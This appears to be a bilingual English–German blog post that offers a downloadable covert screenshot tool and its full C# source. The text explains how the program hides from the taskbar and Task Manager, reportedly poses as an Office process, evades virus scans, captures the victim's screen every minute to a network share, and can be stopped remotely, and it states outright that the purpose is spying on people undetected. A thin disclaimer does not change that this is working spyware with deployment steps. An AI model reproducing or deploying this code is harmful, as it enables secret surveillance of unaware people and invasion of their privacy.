Terms of use – Nutzungbedingungen
Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).
Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.
Warranty – Garantie
I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.
Description – Beschreibung
A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.
Approach – Ansatz
A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.
Prerequirements – Vorraussetzungen
- .NET Framework
- Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten
Solution – Lösung
- Download and unpack the following tool on a netdrive: ScreenshotTool
- Double click the process (this will not damage s.th. on the computer!!!)
- The tool is producing a screenshot every minute in the folder it has been started in.
- To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).
Fazit
On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.
Code
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Drawing.Imaging; using System.IO; namespace screenshot { public partial class Form1 : Form { // Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird public string outputPath = Application.StartupPath; public Form1() { InitializeComponent(); // Das Fenster bekommt keinen Border Style this.FormBorderStyle = FormBorderStyle.None; // Das Fenster wird nicht in der Task Bar angezeigt this.ShowInTaskbar = false; } // Entfernt das Programm aus dem Taskmanager -> Anwendungen protected override CreateParams CreateParams { get { var cp = base.CreateParams; cp.ExStyle |= 0x80; // Turn on WS_EX_TOOLWINDOW return cp; } } // Erzeuge einen Screenshot private void button1_Click(object sender, EventArgs e) { // Prüfe ob eine close.txt existiert if (File.Exists(@"" + outputPath + "\\close.txt")) { this.Close(); } // this.Opacity = 0.0; // Verstecken der Form vor dem Screencopy // Screencopy erstellen und in BildschirmBMP ablegen Screen Bildschirm = Screen.PrimaryScreen; // Hauptbildschirm using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, // Ziel-Bitmap Bildschirm.Bounds.Height, PixelFormat.Format24bppRgb)) { using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP)) { // Graphics erzeugen BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, Bildschirm.Bounds.Y, // Abbild erstellen 0, 0, BildschirmBMP.Size); } // this.Opacity = 1.0; // Wieder anzeigen der Form nach dem Screencopy // Screencopy speichern mit Datum ein Zeitstempel BildschirmBMP.Save(outputPath + @"\output_" + DateTime.Now.Year + "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + "__" + DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + DateTime.Now.Second + ".png"); // Nur mal so zum speichern } } // Rufe jede Sekunde auf (Timer ist ein Toolbox Element) private void timer1_Tick(object sender, EventArgs e) { // Jede Sekunde ausführen button1_Click(null, null); } // Sobald das Programm gestartet ist, starte den Timer private void Form1_Load(object sender, EventArgs e) { // Beim Start einmal ausführen button1_Click(null, null); timer1.Start(); } } }